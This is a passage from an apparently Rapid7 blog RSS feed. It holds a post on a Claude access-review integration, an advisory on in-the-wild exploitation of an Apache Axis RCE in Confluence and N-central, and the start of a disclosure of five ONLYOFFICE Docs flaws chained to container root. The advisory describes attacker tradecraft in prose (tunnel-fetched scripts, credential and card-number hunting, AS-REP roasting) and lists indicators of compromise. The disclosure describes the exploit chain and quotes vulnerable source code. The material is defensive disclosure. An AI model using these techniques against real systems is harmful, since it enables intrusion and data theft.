href="https://docs.rapid7.com/insightvm/oracle-openjdk-java/"><span style='font-size: undefined;'>Oracle OpenJDK Java (CVE-2026-114938) documentation</span></a><span style='font-size: undefined;'>. </span>Clarified VM check availability.<span style='font-size: undefined;'> </span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-114938-reported-critical-pre-authentication-remote-code-execution-java-17</link>
      <guid isPermaLink="false">bltd49c3590883eaf64</guid>
      <category><![CDATA[Emergent Threat Response]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Tue, 17 Nov 2026 18:26:55 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Who Has Access to Claude? Bring AI Identity and Access Context Into Surface Command]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Approving an AI service is only the starting point. As employees adopt Claude and their responsibilities change, security teams need to know who has access, which users hold administrative privileges, and whether those roles and group memberships still reflect the work they do.</span></p><p style="direction: ltr;"><a href="https://newsroom.ibm.com/2025-07-30-ibm-report-13-of-organizations-reported-breaches-of-ai-models-or-applications%2C-97-of-which-reported-lacking-proper-ai-access-controls" target="_blank"><span style='font-size: undefined;'>IBM’s 2025 Cost of a Data Breach Report</span></a><span style='font-size: undefined;'> found that, among studied organizations reporting an AI-related breach, 97% lacked proper AI access controls. The finding highlights a broader challenge: AI adoption needs security practices that extend beyond the initial approval, supported by information teams can use to review access with administrators and service owners.</span></p><p style="direction: ltr;"><a href="/products/command/attack-surface-management-asm/" target="_self"><span style='font-size: undefined;'>Rapid7 Surface Command</span></a><span style='font-size: undefined;'> now integrates with Claude’s Compliance API, bringing supported organization, user, role, group, and settings information into the same platform teams use to understand other assets and identities. The integration helps security teams make enterprise Claude access part of their existing review practices.</span></p><h2 style="direction: ltr;">Bring enterprise AI access into your security view</h2><p style="direction: ltr;"><span style='font-size: undefined;'>An account list tells security teams who is present, while roles and group memberships help explain how access is organized and where further review may be needed. Surface Command’s integration with Claude’s Compliance API brings together:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Organizations and users:</strong></span><span style='font-size: undefined;'> Visibility into the Claude organization and its associated user accounts.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Roles and groups:</strong></span><span style='font-size: undefined;'> Context to understand users’ assigned roles and group memberships.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Organizational settings:</strong></span><span style='font-size: undefined;'> Available configuration information to support review of the enterprise Claude environment.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>With those details in Surface Command, practitioners can examine Claude identities alongside the other assets and identities they manage. That gives them a clearer basis for working with service owners to evaluate whether access remains appropriate as teams and responsibilities change.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The integration focuses on administrative visibility. It does not ingest Claude conversation content, provide threat detection on Claude activity, or control Claude’s behavior.</span></p><h2 style="direction: ltr;">From a user record to an informed access review</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Consider a security practitioner reviewing administrative access to Claude. In Surface Command, they can inspect an imported user’s details, review their organization role and administrative status, and examine their group memberships. The relationship graph provides a visual view of how that user connects to the organization and its groups, making those associations easier to follow.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9f11491a84505846/6afc64a80408f40f930ae8a5/image1.png" height="926" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="image1.png" asset-alt="image1.png" width="1553" max-width="1553" max-height="926" style="max-width: 1553px; width: 1553px; max-height: 926px; height: 926px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9f11491a84505846/6afc64a80408f40f930ae8a5/image1.png" data-sys-asset-uid="blt9f11491a84505846" data-sys-asset-filename="image1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="image1.png" sys-style-type="display"/></figure><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The practitioner can then work with the service owner to confirm whether administrative privileges are still needed, whether group memberships reflect current responsibilities, and whether those assignments align with the organization’s access model.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Surface Command provides information to support the review, while the team applies its policies and judgment to determine whether a change is needed.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteec74edc7fcf8e8e/6afc64c8a5a8754565b0ec8e/image2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="image2.png" asset-alt="image2.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteec74edc7fcf8e8e/6afc64c8a5a8754565b0ec8e/image2.png" data-sys-asset-uid="blteec74edc7fcf8e8e" data-sys-asset-filename="image2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="image2.png" sys-style-type="display"/></figure><h2>Support AI adoption with clearer accountability</h2><p style="direction: ltr;"><span style='font-size: undefined;'>As Claude becomes part of everyday work, reviewing its users and access relationships becomes part of managing the environment. Bringing that information into Surface Command helps security practitioners and service owners work from a shared understanding of assigned roles and group memberships. It supports more informed access decisions and helps security leaders incorporate enterprise AI into established oversight practices.</span></p><h2 style="direction: ltr;">Get started with Claude and Surface Command today</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The integration is available through the Anthropic connector in the Rapid7 Extension Library. Using Claude’s Compliance API requires a Compliance API key and the appropriate entitlement for your Claude organization.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Visit the</span><a href="https://extensions.rapid7.com/extension/anthropic_app" target="_blank"><span style='font-size: undefined;'> connector page</span></a><span style='font-size: undefined;'> to get started and see how Surface Command brings Claude users, roles, and group relationships into view.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/em-claude-access-brings-ai-context-into-surface-command-asm-easm</link>
      <guid isPermaLink="false">blt2b980a30e15146a3</guid>
      <category><![CDATA[Artificial Intelligence]]></category>
      <category><![CDATA[Surface Command]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Tue, 17 Nov 2026 14:26:29 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0b0762ca94c50b0b/6846a711eac0e395093e52e3/AI.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Rapid7 Detected Exploitation of CVE-2026-90436 against Atlassian Confluence Data Center, N-able N-central also Exploited]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On November 6, 2026, the Apache Software Foundation disclosed </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-90436"><span style='font-size: undefined;'>CVE-2026-90436</span></a><span style='font-size: undefined;'>, a critical unsafe reflection vulnerability (</span><a href="https://cwe.mitre.org/data/definitions/470.html"><span style='font-size: undefined;'>CWE-470</span></a><span style='font-size: undefined;'>) in Axis 1.x that allows for unauthenticated remote code execution (RCE). Apache </span><a href="https://axis.apache.org/axis/"><span style='font-size: undefined;'>Axis</span></a><span style='font-size: undefined;'> is a Simple Object Access Protocol (SOAP) implementation used for the creation of Java Web services. CISA has assigned CVE-2026-90436 a CVSS score of </span><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?cveId=CVE-2026-90436&amp;vector=CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&amp;version=3.1&amp;sourceName=CISA-ADP"><span style='font-size: undefined;'>9.8 Critical</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Since the initial November 6 disclosure, it has transpired that some versions of Atlassian </span><a href="https://confluence.atlassian.com/security/cve-2026-90436-remote-code-execution-in-confluence-data-center-1874560038.html"><span style='font-size: undefined;'>Confluence Data Center</span></a><span style='font-size: undefined;'> and N-able N-central use the affected Axis library and are vulnerable to CVE-2026-90436. Both products require a non-default configuration in order to be vulnerable.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-90436 is now being actively exploited in the wild against both known affected products. </span><span style='font-size: undefined;'><strong>On November 13, 2026, Rapid7 MDR detected exploitation of CVE-2026-90436 against Atlassian Confluence Data Center in a customer environment.</strong></span><span style='font-size: undefined;'> Separately, on November 13, 2026, N-able </span><a href="https://uptime.n-able.com/event/202613/"><span style='font-size: undefined;'>reported</span></a><span style='font-size: undefined;'> exploitation in the wild against N-central for a vulnerability that strongly </span><a href="https://www.acn.gov.it/portale/w/n-able-rilevate-due-ulteriori-catene-di-exploit-denominate-agent2shell-e-4everable2shell-"><span style='font-size: undefined;'>correlates</span></a><span style='font-size: undefined;'> to CVE-2026-90436. A proof-of-concept exploit that leverages CVE-2026-90436 and targets N-central was published on November 12, 2026, as part of a </span><a href="https://www.rapid7.com/blog/post/etr-critical-vulnerabilities-in-n-able-n-central-prompt-hosted-shutdown/"><span style='font-size: undefined;'>series</span></a><span style='font-size: undefined;'> of public zero-day disclosures against N-central.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 recommends remediating exposed systems on an emergency basis outside of normal patching cycles.</span></p><h2 style="direction: ltr;">MDR observed exploitation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On November 13, 2026, Rapid7's MDR team responded to a surge of alerts firing on the abnormal child processes launched by an Atlassian Confluence server. A review of the Confluence access logs revealed unauthenticated POST requests to </span><span style='font-size: undefined;'><span data-type='inlineCode'>/plugins/servlet/soap-axis1/confluenceservice-v2</span></span><span style='font-size: undefined;'>, each returning an HTTP 500 (Internal Server Error). Despite the error responses, endpoint telemetry showed Confluence's Java process launching Bash and curl as the dedicated confluence service account, within seconds of these requests. The attacker proceeded to run hundreds of hex-encoded shell commands and scripts fetched from temporary Pinggy and Cloudflare Tunnel domains. Each command wrapped its output in labeled delimiters, and carried sequential task IDs, a structure that suggests the use of AI-assisted automated tooling.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>From this foothold, the attacker enumerated the host, network, Confluence configuration, encryption keys, and database settings. Just over three minutes after the first observed execution, the attackers were authenticating to MySQL with Confluence's own database credentials, querying page bodies, application links, and attachments with names associated with credentials, tokens, VPN configurations, and private keys. The attacker's scripts, likely AI-generated, then targeted files in Confluence's default location for uploaded page attachments (</span><span style='font-size: undefined;'><span data-type='inlineCode'>/var/atlassian/application-data/confluence/attachments/v4/</span></span><span style='font-size: undefined;'>), parsed Office documents, searched for credentials, and hunted for payment card numbers, using Luhn checks to filter out false positives.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker continued extensive enumeration, mapping various internal services. They used a Confluence application credential to query the internal Atlassian Crowd API for users and group memberships, then ran Impacket's </span><span style='font-size: undefined;'><span data-type='inlineCode'>GetNPUsers.py</span></span><span style='font-size: undefined;'> against a domain controller, attempting an AS-REP roasting attack.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Although these attempts failed, the access we did observe relied on credentials stored in Confluence, and roughly four hours after the first exploit request, the attacker had acquired a service account credential and began querying a production cloud data warehouse. Approximately twelve hours after the first exploit request, the attacker signed in to Microsoft 365 as an integration service account using legacy authentication from </span><span style='font-size: undefined;'><span data-type='inlineCode'>192.238.253[.]176</span></span><span style='font-size: undefined;'>. The same address appeared in the hostname of the Pinggy tunnel and in exploit requests observed earlier in the intrusion.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Prioritize internet-accessible instances with the relevant APIs enabled, and check internal deployments as well. Apply the product-specific actions below, then investigate systems that were exposed for evidence of compromise.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Axis 1.x through 1.4 is affected but has reached end of life (EOL) and Apache does not plan to publish a fixed Axis 1.x release. Apache recommends moving to another SOAP engine (for example, Apache Axis 2) or using an Axis 1.x build with this </span><a href="https://github.com/apache/axis-axis1-java/commit/41f3b4e8d04e310ca81f86b92630ab2c11d608bd"><span style='font-size: undefined;'>patch</span></a><span style='font-size: undefined;'> applied. Organizations using products that are affected by this issue should follow the product vendor's specific remediation instructions.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Atlassian Confluence Data Center</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Atlassian lists versions 1.x through to 9.x as affected when “Remote API (XML-RPC & SOAP)” is enabled. Version </span><span style='font-size: undefined;'><span data-type='inlineCode'>9.2.28</span></span><span style='font-size: undefined;'> is the fixed release. The setting has been off by default for new installations since version 3.0. Confluence version 10.x and later removed the feature so are not vulnerable, and Atlassian Cloud is unaffected.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Affected users should upgrade to version </span><span style='font-size: undefined;'><span data-type='inlineCode'>9.2.28</span></span><span style='font-size: undefined;'> or a current unaffected 10.x release. If patching must wait, an administrator can open “General Configuration” and “Further Configuration”, edit the settings, clear “Remote API (XML-RPC & SOAP)”, and save. The change takes effect without restarting Confluence, but integrations using the API may stop working.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Follow the </span><a href="https://confluence.atlassian.com/security/cve-2026-90436-remote-code-execution-in-confluence-data-center-1874560038.html"><span style='font-size: undefined;'>Confluence advisory</span></a><span style='font-size: undefined;'> for the latest fixes and mitigation instructions.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>N-able N-central</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>On-premises administrators should confirm that “Legacy API” is disabled, even on 2026.4 HF2. N-able states that it is off by default, and provides </span><a href="https://me.n-able.com/s/article/How-to-Disable-Legacy-API-settings-on-On-premise-N-central-servers"><span style='font-size: undefined;'>instructions for disabling Legacy API</span></a><span style='font-size: undefined;'>. Its November 13 guidance says hosted environments received temporary protections directly; customers in both hosting models must still follow the vendor's Agent and Probe upgrade guidance. N-able also temporarily disabled the Intune integration as a precaution. Refer to the </span><a href="https://www.n-able.com/blog/new-security-update-on-n-central"><span style='font-size: undefined;'>N-able security update</span></a><span style='font-size: undefined;'> for these responsibilities.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Update: </strong></span><span style='font-size: undefined;'>On November 16, 2026, N-able </span><a href="https://status.n-able.com/2026/11/16/n-central-2026-4-hf3-release-notes/"><span style='font-size: undefined;'>released</span></a><span style='font-size: undefined;'> N-central 2026.4 HF3 (</span><span style='font-size: undefined;'><span data-type='inlineCode'>2026.4.1.39</span></span><span style='font-size: undefined;'>) which addresses multiple issues including seventeen new CVEs. The “Legacy API” feature which exposed the vulnerable CVE-2026-90436 Axis attack surface has been disabled in this new release. N-central users should upgrade to N-central 2026.4 HF3 on an emergency basis outside of normal patching cycles.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Follow the </span><a href="https://status.n-able.com/2026/11/16/n-central-2026-4-hf3-release-notes/"><span style='font-size: undefined;'>N-able advisory</span></a><span style='font-size: undefined;'> for the latest fixes and mitigation instructions.</span></p><h2 style="direction: ltr;">IOCs</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The presence of these IOCs in logs should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Atlassian Confluence Data Center</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The following IP addresses and domains are associated with observed exploitation of CVE-2026-90436 against Atlassian Confluence Data Center:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>192.238.253[.]176</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>5.133.47[.]243</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>163.182.68[.]109</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>104.13.106[.]166</span></span></p></li><li><p><span data-type='inlineCode'>*.trycloudflare[.]com</span></p></li><li><p><span data-type='inlineCode'>wpefh-192-238-253-176.free.pinggy[.]net</span></p></li><li><p><span data-type='inlineCode'>webhook[.]site</span></p></li></ul><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>N-able N-central</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>N-able's </span><a href="https://uptime.n-able.com/event/202613/"><span style='font-size: undefined;'>November 13 incident update</span></a><span style='font-size: undefined;'> lists these IP addresses as IOCs for N-central customers who had not disabled Legacy API.</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>157.20.241[.]16</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>139.99.69[.]109</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>79.76.51[.]56</span></span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>The vendor's update also lists associated URLs for use in compromise assessment.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>November 16, 2026:</strong></span><span style='font-size: undefined;'> Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>November 17, 2026:</strong></span><span style='font-size: undefined;'> Updated Remediation section for N-central.</span></li><li><span style='font-size: undefined;'><strong>November 17, 2026:</strong></span><span style='font-size: undefined;'> Added the MDR observed exploitation section and updated IOCs.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-rapid7-detected-exploitation-of-cve-2026-90436-against-atlassian-confluence-data-center-n-able-n-central-also-exploited</link>
      <guid isPermaLink="false">bltdbdaaf70c3ebd12e</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Mon, 16 Nov 2026 18:14:14 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[From view-only access to container root: five vulnerabilities in ONLYOFFICE Docs (FIXED)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>As part of our </span><a href="https://github.com/jburgess-r7/zimbra-vulnerability-tracker"><span style='font-size: undefined;'>research into Zimbra Collaboration Suite</span></a><span style='font-size: undefined;'>, Rapid7 reported five findings in ONLYOFFICE Docs. An attacker with view-only access to a document can chain vulnerabilities in ONLYOFFICE Docs to execute arbitrary operating system commands as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>root</span></span><span style='font-size: undefined;'> inside the official DocumentServer container.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The findings also expose server files and document data that the viewer never displays, even when downloading is disabled.</span></p><table><colgroup data-width='750'><col style="width:23.397435897435898%"/><col style="width:61.69871794871795%"/><col style="width:14.903846153846153%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Finding</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVSS</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><a href="https://www.cve.org/CVERecord?id=CVE-2026-113627"><span style='font-size: undefined;'>CVE-2026-113627</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>DocBuilder native file read and Session JWT forgery</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"><span style='font-size: undefined;'>7.1 High</span></a></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.cve.org/CVERecord?id=CVE-2026-110385"><span style='font-size: undefined;'>CVE-2026-110385</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>DocBuilder SaveFile conversion parameter injection and code execution</span></p></td><td><p style="direction: ltr;"><a href="https://www.cve.org/CVERecord?id=CVE-2026-110385"><span style='font-size: undefined;'>8.7 High</span></a></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.cve.org/CVERecord?id=CVE-2026-97727"><span style='font-size: undefined;'>CVE-2026-97727</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Complete-save format path traversal and arbitrary file write</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"><span style='font-size: undefined;'>6.5 Medium</span></a></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.cve.org/CVERecord?id=CVE-2026-113630"><span style='font-size: undefined;'>CVE-2026-113630</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Root-helper command injection</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"><span style='font-size: undefined;'>7.8 High</span></a></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.cve.org/CVERecord?id=CVE-2026-113631"><span style='font-size: undefined;'>CVE-2026-113631</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>View-only export of non-rendered document data</span></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"><span style='font-size: undefined;'>6.5 Medium</span></a></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>ONLYOFFICE confirmed on October 23, 2026 that all five findings were fixed in Document Server 10.0. The </span><a href="https://github.com/ONLYOFFICE/DocumentServer/blob/v10.0.0/CHANGELOG.md#security"><span style='font-size: undefined;'>changelog</span></a><span style='font-size: undefined;'> describes the release's security changes.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Proof-of-concept code is available on the accompanying </span><a href="https://github.com/jburgess-r7/onlyoffice-2026-pocs"><span style='font-size: undefined;'>Github repository</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Product description</h2><p style="direction: ltr;"><a href="https://github.com/ONLYOFFICE/DocumentServer"><span style='font-size: undefined;'>ONLYOFFICE Docs</span></a><span style='font-size: undefined;'> provides online viewers and editors for documents, spreadsheets, presentations, forms and PDFs. It supports collaborative editing and can integrate with applications that store and share files.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>An integrating application, for example Zimbra Collaboration Suite, supplies an opening configuration identifying the document and the user's permissions, signed with the Browser key. This client-visible credential is referred to below as the Editor JWT. After opening a document, DocumentServer issues a Session JWT for reconnecting and saving.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Incoming service requests, including document-building jobs, are validated using ONLYOFFICE's Inbox JWT key. DocumentServer can also send generated document output to the integrating application's callback URL.</span></p><h2 style="direction: ltr;">Credit</h2><p style="direction: ltr;"><span style='font-size: undefined;'>This assessment and the exploit-chain research were conducted by Jonah Burgess (CryptoCat), Senior Security Researcher at </span><a href="https://www.rapid7.com/"><span style='font-size: undefined;'>Rapid7</span></a><span style='font-size: undefined;'>. The findings are being disclosed in accordance with </span><a href="https://www.rapid7.com/security/disclosure/"><span style='font-size: undefined;'>Rapid7's vulnerability disclosure policy</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Testing setup</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 tested the official </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>onlyoffice/documentserver:9.4.0</span></span><span style='font-size: undefined;'> image with package </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>onlyoffice-documentserver 9.4.0-129</span></span><span style='font-size: undefined;'>. DocumentServer ran as the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'> account. JWT validation remained enabled, and no authentication check, private-address filter, or vendor code was disabled or modified. Browser and Inbox validation used the same effective signing key.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Our analysis of the vendor supplied fixes compares the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>v9.4.0.129</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>v10.0.0.169</span></span><span style='font-size: undefined;'> tags of </span><a href="https://github.com/ONLYOFFICE/server/compare/v9.4.0.129...v10.0.0.169"><span style='font-size: undefined;'>ONLYOFFICE/server</span></a><span style='font-size: undefined;'>, </span><a href="https://github.com/ONLYOFFICE/core/compare/v9.4.0.129...v10.0.0.169"><span style='font-size: undefined;'>ONLYOFFICE/core</span></a><span style='font-size: undefined;'> and </span><a href="https://github.com/ONLYOFFICE/document-server-package/compare/v9.4.0.129...v10.0.0.169"><span style='font-size: undefined;'>ONLYOFFICE/document-server-package</span></a><span style='font-size: undefined;'>. Rapid7 also performed targeted checks on package </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>10.0.0-169</span></span><span style='font-size: undefined;'>. For the </span><a href="https://docs.google.com/document/d/1m7Osqdx-sHebh6E-doeM0Ph5lfUCtGyGtqcPtuGkLa8/edit?tab=t.0#heading=h.uv0o4zruwf3v"><span style='font-size: undefined;'>conditional WOPI test</span></a><span style='font-size: undefined;'> on </span><span style='font-size: undefined;'><span data-type='inlineCode'>9.4.0-129</span></span><span style='font-size: undefined;'>, Rapid7 enabled only </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>WOPI_ENABLED=true</span></span><span style='font-size: undefined;'> and left the shipped WOPI IP filter unchanged at its default allow-all rule.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Exploitation was demonstrated only on 9.4.0-129; the broader affected-version range is unknown.</span></p><h2 style="direction: ltr;">Impact</h2><p style="direction: ltr;"><span style='font-size: undefined;'>View-only document access can lead to command execution as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'> and then </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>root</span></span><span style='font-size: undefined;'> inside the official container. The two </span><a href="https://docs.google.com/document/d/1m7Osqdx-sHebh6E-doeM0Ph5lfUCtGyGtqcPtuGkLa8/edit?tab=t.0#heading=h.uv0o4zruwf3v"><span style='font-size: undefined;'>exploit chains</span></a><span style='font-size: undefined;'> use different file-write stages. With WOPI enabled and an attacker-controlled source reachable and permitted by its IP filter, the same DocBuilder authorization failure provides an unauthenticated entry.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Separately, a viewer denied download can obtain a reconstructed DOCX containing custom XML, custom properties and field instructions that the viewer never displayed.</span></p><h2 style="direction: ltr;">Editor JWT authorizes native file reads and session JWT forgery (CVE-2026-113627)</h2><p style="direction: ltr;"><span style='font-size: undefined;'>An attacker with view-only access to a document can use </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/docbuilder</span></span><span style='font-size: undefined;'> to steal files from the ONLYOFFICE server. In the tested build, this exposed the Session JWT signing key, allowing the attacker to forge credentials containing document keys and permissions that were never granted to the original viewer.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Technical analysis</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Prerequisite:</strong></span><span style='font-size: undefined;'> The attacker needs a valid Editor JWT for any document and access to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/docbuilder</span><span style='font-size: undefined;'>. Target files must be readable by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ds</span><span style='font-size: undefined;'>. The token-forgery step also requires the Session JWT signing key to be in a readable file, as it was in the tested build. No edit, download, print, review, or comment permission is required.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The default-secret branch in </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/Common/sources/tenantManager.js#L215-L227"><span style='font-size: undefined;'>getTenantSecret()</span></a><span style='font-size: undefined;'> contains:</span></p><pre language="javascript">switch (type) {
case commonDefines.c_oAscSecretType.Browser:
case commonDefines.c_oAscSecretType.Inbox:
    res = utils.getSecretByElem(cfgSecretInbox); // [0] Shared signing key
break;
// ... other token types omitted ...
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The branch at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'> selects the same configured signing key for Browser and Inbox tokens.</span></p><p style="direction: ltr;"><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/DocService/sources/converterservice.js#L460-L519"><span style='font-size: undefined;'>builderRequest()</span></a><span style='font-size: undefined;'> passes the request to </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/DocService/sources/DocsCoServer.js#L1697-L1742"><span style='font-size: undefined;'>getRequestParams()</span></a><span style='font-size: undefined;'>:</span></p><pre language="javascript">const authRes = yield docsCoServer.getRequestParams(ctx, req); // [1] Request JWT validation
if (authRes.isDecoded) {
  cmd.setWithAuthorization(true);
